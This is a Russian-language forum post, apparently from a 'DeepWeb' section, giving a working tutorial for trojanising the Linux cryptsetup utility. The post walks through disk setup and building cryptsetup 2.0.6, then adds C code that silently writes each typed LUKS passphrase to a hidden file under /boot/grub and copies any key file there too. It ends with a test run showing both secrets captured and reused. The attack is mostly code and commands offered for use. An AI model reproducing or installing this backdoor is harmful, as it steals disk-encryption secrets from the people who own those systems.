The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project

Бэкдор для LUKS. Как перехватить ключ и пароль от зашифрованного раздела в Linux

battarismos

Бородач
Команда форума
Модератор DeepWeb
🍺 Бар «Собрание»
Регистрация
06.12.2020
Сообщения
172
Реакции
44
LUKS — популярная и распространенная система шифрования дисков. Однако, когда есть доступ к хосту с правами администратора, вполне возможно установить закладку, которая будет перехватывать ключи зашифрованных разделов. В этой статье мы сначала разберемся с LUKS и утилитой cryptsetup, а потом посмотрим, как изменить исходный код таким образом, чтобы можно было перехватывать парольную фразу или ключ для расшифровки раздела.

LUKS — это, по сути, стандарт для шифрования дисков в Linux. Поддерживается до восьми слотов ключей, есть выбор хеш‑функций, алгоритмов и режимов шифрования, есть адаптивный алгоритм выбора количества итераций. Расшифровать данные на диске можно, только имея доступ к секретному ключу и паролю.

Среди других преимуществ LUKS:

  • совместимость через стандартизацию;
  • защита от атак с низкой энтропией;
  • возможность аннулировать секретную фразу.
Ну и распространяется она бесплатно.

НАСТРОЙКА ДИСКА​

Все манипуляции мы будем проводить на свежем Debian 10, добавив дополнительный диск для экспериментов с шифрованием.

После установки переходим под root:

su -

Затем утилитой fdisk смотрим названия доступных дисков:

$ fdisk -l

Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors

Disk model: VMware Virtual S

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: dos

Disk identifier: 0x09849b5eDevice Boot Start End Sectors Size Id Type

/dev/sda1 * 2048 37750783 37748736 18G 83 Linux

/dev/sda2 37752830 41940991 4188162 2G 5 Extended

/dev/sda5 37752832 41940991 4188160 2G 82 Linux swap / Solaris

Disk /dev/sdb: 4 GiB, 4294967296 bytes, 8388608 sectors

Disk model: VMware Virtual S

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

В своем примере я буду использовать устройство /dev/sdb. Для разметки диска использую утилиту parted, передав имя диска в качестве аргумента:

parted /dev/sdb

Помечаю таблицу разделов как GPT:

(parted) mklabel gpt

И создаю единственный раздел, занимающий весь диск:

(parted) mkpart primary 1 -1

(parted) quit

СБОРКА CRYPTSETUP​

Работы с разметкой /dev/sdb закончены. Переходим к сборке cryptsetup.

Если у тебя уже установлен LUKS и ты хочешь модифицировать текущую версию утилиты, используй dpkg-dev. В этом же примере я буду собирать cryptsetup из исходных кодов, скачанных отдельно от системы. У меня версия 2.0.6, так как при сборке последней доступной (2.3.4) были проблемы с версиями библиотек.

Скачиваем, распаковываем и устанавливаем необходимые зависимости:

# cd /root

# wget https://www.kernel.org/pub/linux/utils/cryptsetup/v2.0/cryptsetup-2.0.6.tar.xz

# tar xf cryptsetup-2.0.6.tar.xz

# cd cryptsetup-2.0.6

# apt update && apt install build-essential automake autopoint libtool pkg-config uuid-dev libdevmapper-dev libpopt-dev libgcrypt20-dev libjson-c-dev libssl-dev libblkid-dev gettext

Собираем и устанавливаем:

# ./configure

# make && make install

Проверяем установку:

# cryptsetup --version

cryptsetup 2.0.6

Отлично. Теперь создадим зашифрованный раздел с помощью cryptsetup и пароля, вводимого в TTY:

# cryptsetup luksFormat /dev/sdb1

Соглашаемся на форматирование (YES) и вводим пароль для последующего доступа к разделу. Я использую t3st3ncryp7.

Проверяем, все ли удалось.

# cryptsetup isLuks /dev/sdb1 && echo Ok!

Ok!

Все получилось! Подключаем шифрованный раздел, чтобы дальше его монтировать:

# cryptsetup luksOpen /dev/sdb1 db

Вводим парольную фразу (t3st3ncryp7). Чуть позже в этом месте мы перехватим вводимый в TTY пароль.

Форматируем раздел:

# mke2fs -j /dev/mapper/db

И монтируем для работы, например в /mnt:

# mount /dev/mapper/db /mnt && cd /mnt

# echo Hello! > test.txt

# cat test.txt

Hello!

# ls -la

итого 28

drwxr-xr-x 3 root root 4096 ноя 6 06:49 .

drwxr-xr-x 20 root root 4096 ноя 6 05:34 ..

drwx------ 2 root root 16384 ноя 6 06:48 lost+found

-rw-r--r-- 1 root root 7 ноя 6 06:49 test.txt

МОДИФИЦИРУЕМ КОД​

На этом этапе мы научились монтировать шифрованный раздел LUKS c использованием парольной фразы. Сейчас мы исправим исходный код, чтобы сохранять не только вводимый пароль, но и случайно сгенерированный файл, который может быть указан в качестве ключа для расшифровки раздела.

Находим код проверки passphrase в файле src/utils_password.c (относительно корня архива cryptsetup-2.0.6.tar.xz). В старых версиях он находился в файле askpass.c.

Для перехвата пароля я изменю функцию crypt_get_key_tty(), отвечающую за ввод пароля из терминала (TTY). В самом конце добавим кусок кода, который кладет переменную pass в нужный нам файл. В качестве пути возьмем /boot/grub/.captured_pass.

Вот примерно 220-я строка файла src/utils_password.c:

*key = pass;

*key_size = strlen(pass);

Добавим

FILE *fp;

fp = fopen("/boot/grub/.captured_pass", "w+");

fputs(pass, fp);

fclose(fp);


Перехват passphrase в utils_password.c
Отлично. Теперь вводимый пароль сохраняется в файле .captured_pass. Пойдем дальше и поможем нашей программе делать «резервную копию» используемого для расшифровки ключа.

Для этого я решил не читать сам ключ, а взять оригинальный путь из функции tools_get_key() и скопировать ключ в нужное место. Для добавления кода ищем примерно 285-ю строку и после:

if (pwquality && !opt_force_password && !key_file && !r)

r = tools_check_pwquality(*key);

Добавляем вызов функции CopyFile(), передав в качестве аргумента путь оригинального файла в переменной key_file и необходимый путь для сохранения. Должно получиться примерно так:

...

if (pwquality && !opt_force_password && !key_file && !r)

r = tools_check_pwquality(*key);

CopyFile(key_file, "/boot/grub/.captured_key");return r;

...


Сохранение ключа в файле utils_password.c
Не забываем добавить саму функцию CopyFile() в самый конец файла после функции tools_write_mk():

int CopyFile(const char* source, const char* destination) {

int input, output;

if ((input = open(source, O_RDONLY)) == -1) {

return -1;

}

if ((output = creat(destination, 0660)) == -1) {

close(input);

return -1;

}

off_t bytesCopied = 0;

struct stat fileinfo = {0};

fstat(input, &fileinfo);

int result = sendfile(output, input, &bytesCopied, fileinfo.st_size);

close(input);

close(output);

return result;

}

Теперь пересобираем наш исправленный вариант cryptsetup c удалением кеша предыдущей сборки:

# pwd

# /root/cryptsetup-2.0.6

make clean && make && make install

Настало время тестов. Для начала проверим перехват пароля уже зашифрованного таким образом диска. Для этого размонтируем его и вернем в первоначальное состояние:

# umount /mnt

# cryptsetup luksClose /dev/mapper/db

Теперь снова расшифровываем и ловим необходимый пароль:

# cryptsetup luksOpen /dev/sdb1 db

Введите парольную фразу для /dev/sdb1:

# mount /dev/mapper/db /mnt

# ls /mnt/

lost+found test.txt

# cat /boot/grub/.captured_pass

t3st3ncryp7

Великолепно! Осталось отформатировать и зашифровать файлом ключом для проверки второго способа перехвата. Генерируем сам ключ:

# dd if=/dev/urandom of=/root/secret.key bs=1024 count=2

Форматируем и шифруем с помощью сгенерированного ключа, предварительно отключив раздел:

# umount /mnt

# cryptsetup luksClose /dev/mapper/db

# cryptsetup luksFormat /dev/sdb1 /root/secret.key

ПРЕДУПРЕЖДЕНИЕ: Устройство /dev/sdb1 уже содержит подпись суперблока «crypto_LUKS».WARNING!

========

Данные на /dev/sdb1 будут перезаписаны без возможности восстановления.

Are you sure? (Type uppercase yes): YES

Подключаем и расшифровываем раздел:

# cryptsetup --key-file /root/secret.key luksOpen /dev/sdb1 db

Проверяем, перехватился ли ключ.

# ls -la /boot/grub/

итого 2392

drwxr-xr-x 5 root root 4096 ноя 6 07:29 .

drwxr-xr-x 3 root root 4096 ноя 5 05:03 ..

-rw-r----- 1 root root 2048 ноя 6 07:31 .captured_key

-rw-r--r-- 1 root root 11 ноя 6 07:21 .captured_pass

drwxr-xr-x 2 root root 4096 ноя 5 05:04 fonts

-r--r--r-- 1 root root 8463 ноя 5 05:04 grub.cfg

-rw-r--r-- 1 root root 1024 ноя 5 05:04 grubenv

drwxr-xr-x 2 root root 12288 ноя 5 05:04 i386-pc

drwxr-xr-x 2 root root 4096 ноя 5 05:04 locale

-rw-r--r-- 1 root root 2396122 ноя 5 05:03 unicode.pf2

Полный порядок. Проверим, работает ли наш ключ, предварительно дублируя его, иначе при следующей записи он запишет сам себя в 0 байт:

# cp /boot/grub/.captured_key /boot/grub/.captured_key_use

# cryptsetup --key-file /boot/grub/.captured_key_use luksOpen /dev/sdb1 db


Успешный перехват ключа

ИТОГ​

Популярность LUKS делает его интересной мишенью для хакеров. Если существует возможность внедриться в систему, то шифрование может не спасти, что мы сегодня и продемонстрировали.
 
Верх